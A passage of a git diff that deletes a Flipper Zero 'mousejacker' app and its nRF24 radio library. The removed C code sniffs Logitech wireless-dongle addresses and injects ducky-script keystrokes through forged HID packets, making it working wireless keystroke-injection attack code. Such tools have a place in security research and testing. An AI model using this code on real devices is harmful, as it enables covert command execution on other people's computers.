8); - - return ret; -} - -void int32_to_bytes(uint32_t val, uint8_t* out, bool bigendian) { - for(int i = 0; i < 4; i++) { - if(bigendian) - out[i] = (val >> ((3 - i) * 8)) & 0xff; - else - out[i] = (val >> (i * 8)) & 0xff; - } -} - -uint64_t bytes_to_int16(uint8_t* bytes, bool bigendian) { - uint16_t ret = 0; - for(int i = 0; i < 2; i++) - if(bigendian) - ret |= bytes[i] << ((1 - i) * 8); - else - ret |= bytes[i] << (i * 8); - - return ret; -} - -void int16_to_bytes(uint16_t val, uint8_t* out, bool bigendian) { - for(int i = 0; i < 2; i++) { - if(bigendian) - out[i] = (val >> ((1 - i) * 8)) & 0xff; - else - out[i] = (val >> (i * 8)) & 0xff; - } -} - -// handle iffyness with preamble processing sometimes being a bit (literally) off -void alt_address_old(uint8_t* packet, uint8_t* altaddr) { - uint8_t macmess_hi_b[4]; - uint8_t macmess_lo_b[2]; - uint32_t macmess_hi; - uint16_t macmess_lo; - uint8_t preserved; - - // get first 6 bytes into 32-bit and 16-bit variables - memcpy(macmess_hi_b, packet, 4); - memcpy(macmess_lo_b, packet + 4, 2); - - macmess_hi = bytes_to_int32(macmess_hi_b, true); - - //preserve least 7 bits from hi that will be shifted down to lo - preserved = macmess_hi & 0x7f; - macmess_hi >>= 7; - - macmess_lo = bytes_to_int16(macmess_lo_b, true); - macmess_lo >>= 7; - macmess_lo = (preserved << 9) | macmess_lo; - int32_to_bytes(macmess_hi, macmess_hi_b, true); - int16_to_bytes(macmess_lo, macmess_lo_b, true); - memcpy(altaddr, &macmess_hi_b[1], 3); - memcpy(altaddr + 3, macmess_lo_b, 2); -} - -bool validate_address(uint8_t* addr) { - uint8_t bad[][3] = {{0x55, 0x55}, {0xAA, 0xAA}, {0x00, 0x00}, {0xFF, 0xFF}}; - for(int i = 0; i < 4; i++) - for(int j = 0; j < 2; j++) - if(!memcmp(addr + j * 2, bad[i], 2)) return false; - - return true; -} - -bool nrf24_sniff_address(FuriHalSpiBusHandle* handle, uint8_t maclen, uint8_t* address) { - bool found = false; - uint8_t packet[32] = {0}; - uint8_t packetsize; - //char printit[65]; - uint8_t status = 0; - status = nrf24_rxpacket(handle, packet, &packetsize, true); - if(status & 0x40) { - if(validate_address(packet)) { - for(int i = 0; i < maclen; i++) address[i] = packet[maclen - 1 - i]; - - /* - alt_address(packet, packet); - - for(i = 0; i < maclen; i++) - address[i + 5] = packet[maclen - 1 - i]; - */ - - //memcpy(address, packet, maclen); - //hexlify(packet, packetsize, printit); - found = true; - } - } - - return found; -} - -uint8_t nrf24_find_channel( - FuriHalSpiBusHandle* handle, - uint8_t* srcmac, - uint8_t* dstmac, - uint8_t maclen, - uint8_t rate, - uint8_t min_channel, - uint8_t max_channel, - bool autoinit) { - uint8_t ping_packet[] = {0x0f, 0x0f, 0x0f, 0x0f}; // this can be anything, we just need an ack - uint8_t ch = max_channel + 1; // means fail - nrf24_configure(handle, rate, srcmac, dstmac, maclen, 2, false, false); - for(ch = min_channel; ch <= max_channel + 1; ch++) { - nrf24_write_reg(handle, REG_RF_CH, ch); - if(nrf24_txpacket(handle, ping_packet, 4, true)) break; - } - - if(autoinit) { - FURI_LOG_D("nrf24", "initializing radio for channel %d", ch); - nrf24_configure(handle, rate, srcmac, dstmac, maclen, ch, false, false); - return ch; - } - - return ch; -} - -bool nrf24_check_connected(FuriHalSpiBusHandle* handle) { - uint8_t status = nrf24_status(handle); - - if(status != 0x00) { - return true; - } else { - return false; - } -} \ No newline at end of file diff --git a/applications/external/mousejacker/lib/nrf24/nrf24.h b/applications/external/mousejacker/lib/nrf24/nrf24.h deleted file mode 100644 index 046784bc7..000000000 --- a/applications/external/mousejacker/lib/nrf24/nrf24.h +++ /dev/null @@ -1,373 +0,0 @@ -#pragma once -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -#define R_REGISTER 0x00 -#define W_REGISTER 0x20 -#define REGISTER_MASK 0x1F -#define ACTIVATE 0x50 -#define R_RX_PL_WID 0x60 -#define R_RX_PAYLOAD 0x61 -#define W_TX_PAYLOAD 0xA0 -#define W_TX_PAYLOAD_NOACK 0xB0 -#define W_ACK_PAYLOAD 0xA8 -#define FLUSH_TX 0xE1 -#define FLUSH_RX 0xE2 -#define REUSE_TX_PL 0xE3 -#define RF24_NOP 0xFF - -#define REG_CONFIG 0x00 -#define REG_EN_AA 0x01 -#define REG_EN_RXADDR 0x02 -#define REG_SETUP_AW 0x03 -#define REG_SETUP_RETR 0x04 -#define REG_DYNPD 0x1C -#define REG_FEATURE 0x1D -#define REG_RF_SETUP 0x06 -#define REG_STATUS 0x07 -#define REG_RX_ADDR_P0 0x0A -#define REG_RF_CH 0x05 -#define REG_TX_ADDR 0x10 - -#define RX_PW_P0 0x11 -#define TX_DS 0x20 -#define MAX_RT 0x10 - -#define nrf24_TIMEOUT 500 -#define nrf24_CE_PIN &gpio_ext_pb2 -#define nrf24_HANDLE &furi_hal_spi_bus_handle_external - -/* Low level API */ - -/** Write device register - * - * @param handle - pointer to FuriHalSpiHandle - * @param reg - register - * @param data - data to write - * - * @return device status - */ -uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data); - -/** Write buffer to device register - * - * @param handle - pointer to FuriHalSpiHandle - * @param reg - register - * @param data - data to write - * @param size - size of data to write - * - * @return device status - */ -uint8_t nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size); - -/** Read device register - * - * @param handle - pointer to FuriHalSpiHandle - * @param reg - register - * @param[out] data - pointer to data - * - * @return device status - */ -uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size); - -/** Power up the radio for operation - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return device status - */ -uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle); - -/** Power down the radio - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return device status - */ -uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle); - -/** Sets the radio to RX mode - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return device status - */ -uint8_t nrf24_set_rx_mode(FuriHalSpiBusHandle* handle); - -/** Sets the radio to TX mode - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return device status - */ -uint8_t nrf24_set_tx_mode(FuriHalSpiBusHandle* handle); - -/*=============================================================================================================*/ - -/* High level API */ - -/** Must call this before using any other nrf24 API - * - */ -void nrf24_init(); - -/** Must call this when we end using nrf24 device - * - */ -void nrf24_deinit(); - -/** Send flush rx command - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return device status - */ -uint8_t nrf24_flush_rx(FuriHalSpiBusHandle* handle); - -/** Send flush tx command - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return device status - */ -uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle); - -/** Gets the RX packet length in data pipe 0 - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return packet length in data pipe 0 - */ -uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle); - -/** Sets the RX packet length in data pipe 0 - * - * @param handle - pointer to FuriHalSpiHandle - * @param len - length to set - * - * @return device status - */ -uint8_t nrf24_set_packetlen(FuriHalSpiBusHandle* handle, uint8_t len); - -/** Gets configured length of MAC address - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return MAC address length - */ -uint8_t nrf24_get_maclen(FuriHalSpiBusHandle* handle); - -/** Sets configured length of MAC address - * - * @param handle - pointer to FuriHalSpiHandle - * @param maclen - length to set MAC address to, must be greater than 1 and less than 6 - * - * @return MAC address length - */ -uint8_t nrf24_set_maclen(FuriHalSpiBusHandle* handle, uint8_t maclen); - -/** Gets the current status flags from the STATUS register - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return status flags - */ -uint8_t nrf24_status(FuriHalSpiBusHandle* handle); - -/** Gets the current transfer rate - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return transfer rate in bps - */ -uint32_t nrf24_get_rate(FuriHalSpiBusHandle* handle); - -/** Sets the transfer rate - * - * @param handle - pointer to FuriHalSpiHandle - * @param rate - the transfer rate in bps - * - * @return device status - */ -uint8_t nrf24_set_rate(FuriHalSpiBusHandle* handle, uint32_t rate); - -/** Gets the current channel - * In nrf24, the channel number is multiplied times 1MHz and added to 2400MHz to get the frequency - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return channel - */ -uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle); - -/** Sets the channel - * - * @param handle - pointer to FuriHalSpiHandle - * @param frequency - the frequency in hertz - * - * @return device status - */ -uint8_t nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan); - -/** Gets the source mac address - * - * @param handle - pointer to FuriHalSpiHandle - * @param[out] mac - the source mac address - * - * @return device status - */ -uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac); - -/** Sets the source mac address - * - * @param handle - pointer to FuriHalSpiHandle - * @param mac - the mac address to set - * @param size - the size of the mac address (2 to 5) - * - * @return device status - */ -uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size); - -/** Gets the dest mac address - * - * @param handle - pointer to FuriHalSpiHandle - * @param[out] mac - the source mac address - * - * @return device status - */ -uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac); - -/** Sets the dest mac address - * - * @param handle - pointer to FuriHalSpiHandle - * @param mac - the mac address to set - * @param size - the size of the mac address (2 to 5) - * - * @return device status - */ -uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size); - -/** Reads RX packet - * - * @param handle - pointer to FuriHalSpiHandle - * @param[out] packet - the packet contents - * @param[out] packetsize - size of the received packet - * @param full - boolean set to true, packet length is determined by RX_PW_P0 register, false it is determined by dynamic payload length command - * - * @return device status - */ -uint8_t - nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full); - -/** Sends TX packet - * - * @param handle - pointer to FuriHalSpiHandle - * @param packet - the packet contents - * @param size - packet size - * @param ack - boolean to determine whether an ACK is required for the packet or not - * - * @return device status - */ -uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t size, bool ack); - -/** Configure the radio - * This is not comprehensive, but covers a lot of the common configuration options that may be changed - * @param handle - pointer to FuriHalSpiHandle - * @param rate - transfer rate in Mbps (1 or 2) - * @param srcmac - source mac address - * @param dstmac - destination mac address - * @param maclen - length of mac address - * @param channel - channel to tune to - * @param noack - if true, disable auto-acknowledge - * @param disable_aa - if true, disable ShockBurst - * - */ -void nrf24_configure( - FuriHalSpiBusHandle* handle, - uint8_t rate, - uint8_t* srcmac, - uint8_t* dstmac, - uint8_t maclen, - uint8_t channel, - bool noack, - bool disable_aa); - -/** Configures the radio for "promiscuous mode" and primes it for rx - * This is not an actual mode of the nrf24, but this function exploits a few bugs in the chip that allows it to act as if it were. - * See http://travisgoodspeed.blogspot.com/2011/02/promiscuity-is-nrf24l01s-duty.html for details. - * @param handle - pointer to FuriHalSpiHandle - * @param channel - channel to tune to - * @param rate - transfer rate in Mbps (1 or 2) - */ -void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8_t rate); - -/** Listens for a packet and returns first possible address sniffed - * Call this only after calling nrf24_init_promisc_mode - * @param handle - pointer to FuriHalSpiHandle - * @param maclen - length of target mac address - * @param[out] addresses - sniffed address - * - * @return success - */ -bool nrf24_sniff_address(FuriHalSpiBusHandle* handle, uint8_t maclen, uint8_t* address); - -/** Sends ping packet on each channel for designated tx mac looking for ack - * - * @param handle - pointer to FuriHalSpiHandle - * @param srcmac - source address - * @param dstmac - destination address - * @param maclen - length of address - * @param rate - transfer rate in Mbps (1 or 2) - * @param min_channel - channel to start with - * @param max_channel - channel to end at - * @param autoinit - if true, automatically configure radio for this channel - * - * @return channel that the address is listening on, if this value is above the max_channel param, it failed - */ -uint8_t nrf24_find_channel( - FuriHalSpiBusHandle* handle, - uint8_t* srcmac, - uint8_t* dstmac, - uint8_t maclen, - uint8_t rate, - uint8_t min_channel, - uint8_t max_channel, - bool autoinit); - -/** Converts 64 bit value into uint8_t array - * @param val - 64-bit integer - * @param[out] out - bytes out - * @param bigendian - if true, convert as big endian, otherwise little endian - */ -void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian); - -/** Converts 32 bit value into uint8_t array - * @param val - 32-bit integer - * @param[out] out - bytes out - * @param bigendian - if true, convert as big endian, otherwise little endian - */ -void int32_to_bytes(uint32_t val, uint8_t* out, bool bigendian); - -/** Converts uint8_t array into 32 bit value - * @param bytes - uint8_t array - * @param bigendian - if true, convert as big endian, otherwise little endian - * - * @return 32-bit value - */ -uint32_t bytes_to_int32(uint8_t* bytes, bool bigendian); - -/** Check if the nrf24 is connected - * @param handle - pointer to FuriHalSpiHandle - * - * @return true if connected, otherwise false -*/ -bool nrf24_check_connected(FuriHalSpiBusHandle* handle); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/external/mousejacker/mouse_10px.png b/applications/external/mousejacker/mouse_10px.png deleted file mode 100644 index 94c3a7a14..000000000 Binary files a/applications/external/mousejacker/mouse_10px.png and /dev/null differ diff --git a/applications/external/mousejacker/mousejacker.c b/applications/external/mousejacker/mousejacker.c deleted file mode 100644 index 55e45ce57..000000000 --- a/applications/external/mousejacker/mousejacker.c +++ /dev/null @@ -1,396 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "mousejacker_ducky.h" -#include - -#define TAG "mousejacker" -#define LOGITECH_MAX_CHANNEL 85 -#define NRFSNIFF_APP_PATH_FOLDER_ADDRESSES EXT_PATH("apps_data/nrf24_sniffer/addresses.txt") -#define LOCAL_BADUSB_FOLDER EXT_PATH("badusb") -#define MOUSEJACKER_APP_PATH_EXTENSION ".txt" -#define MAX_ADDRS 100 - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -uint8_t addrs_count = 0; -int8_t addr_idx = 0; -uint8_t loaded_addrs[MAX_ADDRS][6]; // first byte is rate, the rest are the address - -char target_fmt_text[] = "Target addr: %s"; -char target_address_str[12] = "None"; -char target_text[30]; -char index_text[30]; - -static void render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const PluginState* plugin_state = ctx; - furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); - - // border around the edge of the screen - canvas_draw_frame(canvas, 0, 0, 128, 64); - - canvas_set_font(canvas, FontSecondary); - if(!plugin_state->addr_err && !plugin_state->ducky_err && !plugin_state->is_thread_running && - !plugin_state->is_ducky_running) { - snprintf(target_text, sizeof(target_text), target_fmt_text, target_address_str); - canvas_draw_str_aligned(canvas, 7, 10, AlignLeft, AlignBottom, target_text); - canvas_draw_str_aligned(canvas, 22, 20, AlignLeft, AlignBottom, "<- select address ->"); - snprintf( - index_text, sizeof(index_text), "Address index: %d/%d", addr_idx + 1, addrs_count); - canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, index_text); - canvas_draw_str_aligned(canvas, 10, 40, AlignLeft, AlignBottom, "Press Ok button to "); - canvas_draw_str_aligned(canvas, 10, 50, AlignLeft, AlignBottom, "browse for ducky script"); - if(!plugin_state->is_nrf24_connected) { - canvas_draw_str_aligned( - canvas, 10, 60, AlignLeft, AlignBottom, "Connect NRF24 to GPIO!"); - } - } else if(plugin_state->addr_err) { - canvas_draw_str_aligned( - canvas, 10, 10, AlignLeft, AlignBottom, "Error: No nrfsniff folder"); - canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, "or addresses.txt file"); - canvas_draw_str_aligned( - canvas, 10, 30, AlignLeft, AlignBottom, "loading error / empty file"); - canvas_draw_str_aligned( - canvas, 7, 40, AlignLeft, AlignBottom, "Run (NRF24: Sniff) app first!"); - } else if(plugin_state->ducky_err) { - canvas_draw_str_aligned( - canvas, 3, 10, AlignLeft, AlignBottom, "Error: No mousejacker folder"); - canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "or duckyscript file"); - canvas_draw_str_aligned(canvas, 3, 30, AlignLeft, AlignBottom, "loading error"); - } else if(plugin_state->is_thread_running && !plugin_state->is_ducky_running) { - canvas_draw_str_aligned(canvas, 3, 10, AlignLeft, AlignBottom, "Loading..."); - canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "Please wait!"); - } else if(plugin_state->is_thread_running && plugin_state->is_ducky_running) { - canvas_draw_str_aligned(canvas, 3, 10, AlignLeft, AlignBottom, "Running duckyscript"); - canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "Please wait!"); - canvas_draw_str_aligned( - canvas, 3, 30, AlignLeft, AlignBottom, "Press back to exit (if it stuck)"); - } else { - canvas_draw_str_aligned(canvas, 3, 10, AlignLeft, AlignBottom, "Unknown Error"); - canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "press back"); - canvas_draw_str_aligned(canvas, 3, 30, AlignLeft, AlignBottom, "to exit"); - } - - furi_mutex_release(plugin_state->mutex); -} - -static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void mousejacker_state_init(PluginState* const plugin_state) { - plugin_state->is_thread_running = false; - plugin_state->is_nrf24_connected = true; -} - -static void hexlify(uint8_t* in, uint8_t size, char* out) { - memset(out, 0, size * 2); - for(int i = 0; i < size; i++) - snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]); -} - -static bool open_ducky_script(Stream* stream, PluginState* plugin_state) { - DialogsApp* dialogs = furi_record_open("dialogs"); - bool result = false; - FuriString* path; - path = furi_string_alloc(); - furi_string_set(path, LOCAL_BADUSB_FOLDER); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options( - &browser_options, MOUSEJACKER_APP_PATH_EXTENSION, &I_badusb_10px); - browser_options.hide_ext = false; - - bool ret = dialog_file_browser_show(dialogs, path, path, &browser_options); - - furi_record_close("dialogs"); - if(ret) { - if(!file_stream_open(stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { - FURI_LOG_D(TAG, "Cannot open file \"%s\"", furi_string_get_cstr(path)); - } else { - result = true; - } - } - furi_string_free(path); - - plugin_state->is_ducky_running = true; - - return result; -} - -static bool open_addrs_file(Stream* stream) { - bool result = false; - FuriString* path; - path = furi_string_alloc(); - furi_string_set(path, NRFSNIFF_APP_PATH_FOLDER_ADDRESSES); - - if(!file_stream_open(stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { - FURI_LOG_D(TAG, "Cannot open file \"%s\"", furi_string_get_cstr(path)); - } else { - result = true; - } - - furi_string_free(path); - return result; -} - -static bool process_ducky_file( - Stream* file_stream, - uint8_t* addr, - uint8_t addr_size, - uint8_t rate, - PluginState* plugin_state) { - size_t file_size = 0; - size_t bytes_read = 0; - uint8_t* file_buf; - bool loaded = false; - FURI_LOG_D(TAG, "opening ducky script"); - if(open_ducky_script(file_stream, plugin_state)) { - file_size = stream_size(file_stream); - if(file_size == (size_t)0) { - FURI_LOG_D(TAG, "load failed. file_size: %d", file_size); - plugin_state->is_ducky_running = false; - return loaded; - } - file_buf = malloc(file_size); - memset(file_buf, 0, file_size); - bytes_read = stream_read(file_stream, file_buf, file_size); - if(bytes_read == file_size) { - FURI_LOG_D(TAG, "executing ducky script"); - mj_process_ducky_script( - nrf24_HANDLE, addr, addr_size, rate, (char*)file_buf, plugin_state); - FURI_LOG_D(TAG, "finished execution"); - loaded = true; - } else { - FURI_LOG_D(TAG, "load failed. file size: %d", file_size); - } - free(file_buf); - } - plugin_state->is_ducky_running = false; - return loaded; -} - -static bool load_addrs_file(Stream* file_stream) { - size_t file_size = 0; - size_t bytes_read = 0; - uint8_t* file_buf; - char* line_ptr; - uint8_t rate; - uint8_t addrlen = 0; - uint32_t counter = 0; - uint8_t addr[5] = {0}; - uint32_t i_addr_lo = 0; - uint32_t i_addr_hi = 0; - bool loaded = false; - FURI_LOG_D(TAG, "opening addrs file"); - addrs_count = 0; - if(open_addrs_file(file_stream)) { - file_size = stream_size(file_stream); - if(file_size == (size_t)0) { - FURI_LOG_D(TAG, "load failed. file_size: %d", file_size); - return loaded; - } - file_buf = malloc(file_size); - memset(file_buf, 0, file_size); - bytes_read = stream_read(file_stream, file_buf, file_size); - if(bytes_read == file_size) { - FURI_LOG_D(TAG, "loading addrs file"); - char* line = strtok((char*)file_buf, "\n"); - - while(line != NULL) { - line_ptr = strstr((char*)line, ","); - *line_ptr = 0; - rate = atoi(line_ptr + 1); - addrlen = (uint8_t)(strlen(line) / 2); - i_addr_lo = strtoul(line + 2, NULL, 16); - line[2] = (char)0; - i_addr_hi = strtoul(line, NULL, 16); - int32_to_bytes(i_addr_lo, &addr[1], true); - addr[0] = (uint8_t)(i_addr_hi & 0xFF); - memset(loaded_addrs[counter], rate, 1); - memcpy(&loaded_addrs[counter++][1], addr, addrlen); - addrs_count++; - line = strtok(NULL, "\n"); - loaded = true; - } - } else { - FURI_LOG_D(TAG, "load failed. file size: %d", file_size); - } - free(file_buf); - } - return loaded; -} - -// entrypoint for worker -static int32_t mj_worker_thread(void* ctx) { - PluginState* plugin_state = ctx; - bool ducky_ok = false; - if(!plugin_state->addr_err) { - plugin_state->is_thread_running = true; - plugin_state->file_stream = file_stream_alloc(plugin_state->storage); - nrf24_find_channel( - nrf24_HANDLE, - loaded_addrs[addr_idx] + 1, - loaded_addrs[addr_idx] + 1, - 5, - loaded_addrs[addr_idx][0], - 2, - LOGITECH_MAX_CHANNEL, - true); - ducky_ok = process_ducky_file( - plugin_state->file_stream, - loaded_addrs[addr_idx] + 1, - 5, - loaded_addrs[addr_idx][0], - plugin_state); - if(!ducky_ok) { - plugin_state->ducky_err = true; - } else { - plugin_state->ducky_err = false; - } - stream_free(plugin_state->file_stream); - } - plugin_state->is_thread_running = false; - return 0; -} - -int32_t mousejacker_app(void* p) { - UNUSED(p); - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - - PluginState* plugin_state = malloc(sizeof(PluginState)); - mousejacker_state_init(plugin_state); - plugin_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!plugin_state->mutex) { - FURI_LOG_E("mousejacker", "cannot create mutex\r\n"); - furi_message_queue_free(event_queue); - free(plugin_state); - return 255; - } - - NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, plugin_state); - view_port_input_callback_set(view_port, input_callback, event_queue); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - plugin_state->storage = furi_record_open(RECORD_STORAGE); - plugin_state->file_stream = file_stream_alloc(plugin_state->storage); - - plugin_state->mjthread = furi_thread_alloc(); - furi_thread_set_name(plugin_state->mjthread, "MJ Worker"); - furi_thread_set_stack_size(plugin_state->mjthread, 2048); - furi_thread_set_context(plugin_state->mjthread, plugin_state); - furi_thread_set_callback(plugin_state->mjthread, mj_worker_thread); - - // spawn load file dialog to choose sniffed addresses file - if(load_addrs_file(plugin_state->file_stream)) { - addr_idx = 0; - hexlify(&loaded_addrs[addr_idx][1], 5, target_address_str); - plugin_state->addr_err = false; - } else { - plugin_state->addr_err = true; - } - stream_free(plugin_state->file_stream); - nrf24_init(); - - PluginEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - break; - case InputKeyDown: - break; - case InputKeyRight: - if(!plugin_state->addr_err) { - addr_idx++; - if(addr_idx >= addrs_count) addr_idx = 0; - hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str); - } - break; - case InputKeyLeft: - if(!plugin_state->addr_err) { - addr_idx--; - if(addr_idx < 0) addr_idx = addrs_count - 1; - hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str); - } - break; - case InputKeyOk: - if(!plugin_state->addr_err) { - if(!nrf24_check_connected(nrf24_HANDLE)) { - plugin_state->is_nrf24_connected = false; - view_port_update(view_port); - notification_message(notification, &sequence_error); - } else if(!plugin_state->is_thread_running) { - furi_thread_start(plugin_state->mjthread); - view_port_update(view_port); - } - } - break; - case InputKeyBack: - plugin_state->close_thread_please = true; - if(plugin_state->is_thread_running && plugin_state->mjthread) { - furi_thread_join( - plugin_state->mjthread); // wait until thread is finished - } - plugin_state->close_thread_please = false; - processing = false; - break; - default: - break; - } - } - } - } - - view_port_update(view_port); - furi_mutex_release(plugin_state->mutex); - } - - furi_thread_free(plugin_state->mjthread); - nrf24_deinit(); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - furi_record_close(RECORD_STORAGE); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(plugin_state->mutex); - free(plugin_state); - - return 0; -} diff --git a/applications/external/mousejacker/mousejacker_ducky.c b/applications/external/mousejacker/mousejacker_ducky.c deleted file mode 100644 index 04b0bfaca..000000000 --- a/applications/external/mousejacker/mousejacker_ducky.c +++ /dev/null @@ -1,460 +0,0 @@ -#include "mousejacker_ducky.h" - -static const char ducky_cmd_comment[] = {"REM"}; -static const char ducky_cmd_delay[] = {"DELAY "}; -static const char ducky_cmd_string[] = {"STRING "}; -static const char ducky_cmd_altstring[] = {"ALTSTRING "}; -static const char ducky_cmd_repeat[] = {"REPEAT "}; - -static uint8_t LOGITECH_HID_TEMPLATE[] = - {0x00, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -static uint8_t LOGITECH_HELLO[] = {0x00, 0x4F, 0x00, 0x04, 0xB0, 0x10, 0x00, 0x00, 0x00, 0xED}; -static uint8_t LOGITECH_KEEPALIVE[] = {0x00, 0x40, 0x00, 0x55, 0x6B}; - -uint8_t prev_hid = 0; -static bool holding_ctrl = false; -static bool holding_shift = false; -static bool holding_alt = false; -static bool holding_gui = false; - -#define RT_THRESHOLD 50 -#define LOGITECH_MIN_CHANNEL 2 -#define LOGITECH_MAX_CHANNEL 83 -#define LOGITECH_KEEPALIVE_SIZE 5 -#define LOGITECH_HID_TEMPLATE_SIZE 10 -#define LOGITECH_HELLO_SIZE 10 -#define TAG "mousejacker_ducky" - -MJDuckyKey mj_ducky_keys[] = {{" ", 44, 0}, {"!", 30, 2}, {"\"", 52, 2}, - {"#", 32, 2}, {"$", 33, 2}, {"%", 34, 2}, - {"&", 36, 2}, {"'", 52, 0}, {"(", 38, 2}, - {")", 39, 2}, {"*", 37, 2}, {"+", 46, 2}, - {",", 54, 0}, {"-", 45, 0}, {".", 55, 0}, - {"/", 56, 0}, {"0", 39, 0}, {"1", 30, 0}, - {"2", 31, 0}, {"3", 32, 0}, {"4", 33, 0}, - {"5", 34, 0}, {"6", 35, 0}, {"7", 36, 0}, - {"8", 37, 0}, {"9", 38, 0}, {":", 51, 2}, - {";", 51, 0}, {"<", 54, 2}, {"=", 46, 0}, - {">", 55, 2}, {"?", 56, 2}, {"@", 31, 2}, - {"A", 4, 2}, {"B", 5, 2}, {"C", 6, 2}, - {"D", 7, 2}, {"E", 8, 2}, {"F", 9, 2}, - {"G", 10, 2}, {"H", 11, 2}, {"I", 12, 2}, - {"J", 13, 2}, {"K", 14, 2}, {"L", 15, 2}, - {"M", 16, 2}, {"N", 17, 2}, {"O", 18, 2}, - {"P", 19, 2}, {"Q", 20, 2}, {"R", 21, 2}, - {"S", 22, 2}, {"T", 23, 2}, {"U", 24, 2}, - {"V", 25, 2}, {"W", 26, 2}, {"X", 27, 2}, - {"Y", 28, 2}, {"Z", 29, 2}, {"[", 47, 0}, - {"\\", 49, 0}, {"]", 48, 0}, {"^", 35, 2}, - {"_", 45, 2}, {"`", 53, 0}, {"a", 4, 0}, - {"b", 5, 0}, {"c", 6, 0}, {"d", 7, 0}, - {"e", 8, 0}, {"f", 9, 0}, {"g", 10, 0}, - {"h", 11, 0}, {"i", 12, 0}, {"j", 13, 0}, - {"k", 14, 0}, {"l", 15, 0}, {"m", 16, 0}, - {"n", 17, 0}, {"o", 18, 0}, {"p", 19, 0}, - {"q", 20, 0}, {"r", 21, 0}, {"s", 22, 0}, - {"t", 23, 0}, {"u", 24, 0}, {"v", 25, 0}, - {"w", 26, 0}, {"x", 27, 0}, {"y", 28, 0}, - {"z", 29, 0}, {"{", 47, 2}, {"|", 49, 2}, - {"}", 48, 2}, {"~", 53, 2}, {"BACKSPACE", 42, 0}, - {"", 0, 0}, {"ALT", 0, 4}, {"SHIFT", 0, 2}, - {"CTRL", 0, 1}, {"GUI", 0, 8}, {"SCROLLLOCK", 71, 0}, - {"ENTER", 40, 0}, {"F12", 69, 0}, {"HOME", 74, 0}, - {"F10", 67, 0}, {"F9", 66, 0}, {"ESCAPE", 41, 0}, - {"PAGEUP", 75, 0}, {"TAB", 43, 0}, {"PRINTSCREEN", 70, 0}, - {"F2", 59, 0}, {"CAPSLOCK", 57, 0}, {"F1", 58, 0}, - {"F4", 61, 0}, {"F6", 63, 0}, {"F8", 65, 0}, - {"DOWNARROW", 81, 0}, {"DELETE", 42, 0}, {"RIGHT", 79, 0}, - {"F3", 